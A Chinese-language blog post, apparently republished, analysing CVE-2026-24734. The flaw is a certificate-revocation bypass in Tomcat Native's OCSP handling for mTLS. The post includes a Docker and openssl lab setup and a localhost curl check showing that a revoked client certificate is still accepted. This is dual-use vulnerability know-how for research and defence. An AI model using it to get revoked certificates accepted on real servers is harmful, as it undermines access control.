文章总结: 本文详细解析了CVE-2026-24734漏洞,这是一个存在于ApacheTomcatNative和Tomcat中的证书吊销绕过漏洞。其核心原因是在使用OCSP响应器进行客户端证书验证时,未完整验证响应的完整性与新鲜度。该漏洞仅影响使用TomcatNative(APR)和OpenSSLTLS的环境。文章不仅分析了漏洞原理,还提供了利用该漏洞的实战PoC演示,包括实验环境搭建和验证步骤。 综合评分: 85 文章分类: 漏洞分析,WEB安全,红队,渗透测试,恶意软件
绕过 Tomcat 证书吊销:CVE-2026-24734 详解(含实战 PoC)
haidragon haidragon
安全狗的自我修养
2026年3月23日 12:18 湖南
官网:http://securitytech.cc
#
一、介绍(Introduction)
我们先来看 NVD(美国国家漏洞数据库)对该漏洞的描述:
“Apache Tomcat Native 和 Apache Tomcat 中存在不正确的输入验证漏洞。在使用 OCSP 响应器时,Tomcat Native(以及 Tomcat 中 FFM 端口的相关实现)没有完成对 OCSP 响应的验证或新鲜度检查,这可能导致证书吊销机制被绕过。”
二、背景(Background)
OCSP(Online Certificate Status Protocol,在线证书状态协议) 是一种互联网协议,用于由证书颁发机构(CA)查询 SSL/TLS 证书(通常是 X.509 证书)的状态。
CVE-2026-24734 主要出现在 客户端证书验证阶段,即在 双向 TLS(mTLS) 场景中,Tomcat 会对客户端证书执行 OCSP 检查。
🔍 问题核心
问题的本质是:
-
Tomcat 在校验证书时,会向 OCSP 服务器发起查询
-
OCSP 返回证书状态(有效 / 吊销)
-
但 Tomcat 没有完整验证 OCSP 响应
-
❌ 未验证响应完整性
-
❌ 未检查响应是否“新鲜”(freshness)
👉 导致攻击者可以绕过证书吊销检测
📜 X.509 证书中的 OCSP 信息
每个 X.509 证书中都有一个 AIA(Authority Information Access)扩展字段,用于指定 OCSP 地址:
Authority InformationAccess:
OCSP-URI:http://ocsp.digicert.com
三、Tomcat Native 组件说明
Apache Tomcat 的 Native 库(TC-Native)是一个可选组件:
- 作用:使用 OpenSSL 替代 Java 默认的 JSSE
- 用于增强 TLS 支持
- 不默认包含在 Tomcat 中
👉 关键点:
- 该漏洞 仅在使用 OpenSSL(通过 Tomcat Native / APR)时可利用
- 默认 Java TLS(JSSE)不受影响
四、漏洞触发条件(Prerequisite)
一个 Tomcat 实例存在漏洞,需要满足:
- 安装了 Tomcat Native(TC-Native)
- TLS 使用 OpenSSL(APR connector)
📄 示例配置(server.xml)
<Serverport="8005"shutdown="SHUTDOWN">
<ListenerclassName="org.apache.catalina.core.AprLifecycleListener"
SSLEngine="on"/>
<Servicename="Catalina">
<Connector
protocol="org.apache.coyote.http11.Http11AprProtocol"
port="8443"
SSLEnabled="true"
scheme="https"
secure="true"
>
<UpgradeProtocol
className="org.apache.coyote.http2.Http2Protocol"
/>
<SSLHostConfig
certificateVerification="required"
certificateVerificationDepth="1"
caCertificateFile="conf/ca.cert.pem">
<Certificate
certificateFile="conf/server.cert.pem"
certificateKeyFile="conf/server.key.pem"
type="RSA"/>
</SSLHostConfig>
</Connector>
</Service>
</Server>
五、PoC 演示(实战复现)
🧱 环境说明
- Tomcat:OpenLogic 8.5.121-OL
- TC-Native:1.2.39
- 使用 Docker 部署
🐳 Dockerfile(核心步骤)
FROM eclipse-temurin:11-jdk
ENV CATALINA_HOME=/usr/local/tomcat
ENV PATH=$CATALINA_HOME/bin:$PATH
ENV LD_LIBRARY_PATH=/usr/local/apr/lib
WORKDIR $CATALINA_HOME
ARG TCNATIVE_VERSION="1.2.39"
RUN apt-get update && \
apt-get install -y \
unzip curl build-essential \
libapr1-dev libssl-dev && \
apt-get clean && rm -rf /var/lib/apt/lists/*
WORKDIR /tmp
RUN curl -fsSL https://archive.apache.org/dist/tomcat/tomcat-connectors/native/${TCNATIVE_VERSION}/source/tomcat-native-${TCNATIVE_VERSION}-src.tar.gz \
| tar xz && \
cd tomcat-native-${TCNATIVE_VERSION}-src/native && \
./configure \
--with-apr=/usr/bin/apr-1-config \
--with-java-home=/opt/java/openjdk \
--with-ssl=yes \
--prefix=/usr/local/apr && \
make && make install
WORKDIR $CATALINA_HOME
六、OCSP 实验环境搭建
目标:
- 创建带 OCSP URL 的证书
- 吊销该证书
- 启动 OCSP 服务器供 Tomcat 查询
🔐 创建服务器证书
openssl genrsa -out server.key.pem 2048
openssl req -x509-new-nodes \
-key server.key.pem \
-sha256-days825 \
-out server.cert.pem \
-subj"/C=IN/O=TomcatPOC/CN=localhost" \
-addext"subjectAltName=IP:127.0.0.1,DNS:localhost"
🏗️ 初始化 CA 目录
mkdir ocsp-lab
cd ocsp-lab
mkdir certs newcerts private
touch index.txt
echo1000 > serial
echo1000 > crlnumber
🏛️ 创建 CA
openssl genrsa -out private/ca.key.pem 4096
openssl req -x509-new-nodes \
-key private/ca.key.pem \
-sha256-days3650 \
-out certs/ca.cert.pem \
-subj"/C=IN/O=TestCA/CN=Test Root CA"
👤 创建客户端证书
openssl genrsa -out client.key.pem 2048
openssl req -new-key client.key.pem \
-out client.csr.pem \
-subj"/C=IN/O=TestClient/CN=client1"
⚙️ 配置 OCSP 地址
authorityInfoAccess = OCSP;URI:http://host.docker.internal:2560
✍️ 签发证书
openssl ca -configopenssl.cnf \
-in client.csr.pem \
-out client.cert.pem \
-batch
🚀 启动 OCSP 服务
openssl ocsp \
-index index.txt \
-port2560 \
-rsigner certs/ca.cert.pem \
-rkey private/ca.key.pem \
-CA certs/ca.cert.pem \
-text
✅ 测试 OCSP
openssl ocsp \
-issuer certs/ca.cert.pem \
-cert client.cert.pem \
-url http://localhost:2560
👉 正常输出:
client.cert.pem: good
七、验证漏洞
🔗 正常请求(证书未吊销)
curl-v https://localhost:8443/ \
--cacert conf/server.cert.pem \
--cert ocsp-lab/client.cert.pem \
--key ocsp-lab/client.key.pem
👉 返回:
SSL certificate verify ok
❌ 吊销证书
openssl ca -configopenssl.cnf \
-revoke client.cert.pem
⚠️ 再次请求(关键点)
如果存在漏洞:
👉 请求仍然成功(漏洞触发)
如果修复:
sslv3 alert certificate revoked
八、漏洞总结
🎯 漏洞本质
- OCSP 响应未完整验证
- 未检查响应时间有效性
- 导致吊销证书仍被信任
⚠️ 影响范围
仅影响:
- 使用 Tomcat Native(APR)
- 使用 OpenSSL TLS
不影响:
- 默认 Java TLS(JSSE)
九、参考资料
-
NVD
官方漏洞库
-
Apache Tomcat
安全文档
-
OCSP 协议说明文档
👍 一句话总结
👉 这是一个典型的“证书吊销绕过”漏洞,本质是 OCSP 校验不完整,在 mTLS 场景下风险很高。
- 公众号:安全狗的自我修养
- vx:2207344074
- http://gitee.com/haidragon
- http://github.com/haidragon
- bilibili:haidragonx
#
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全狗的自我修养 haidragon haidragon《绕过 Tomcat 证书吊销:CVE-2026-24734 详解(含实战 PoC)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论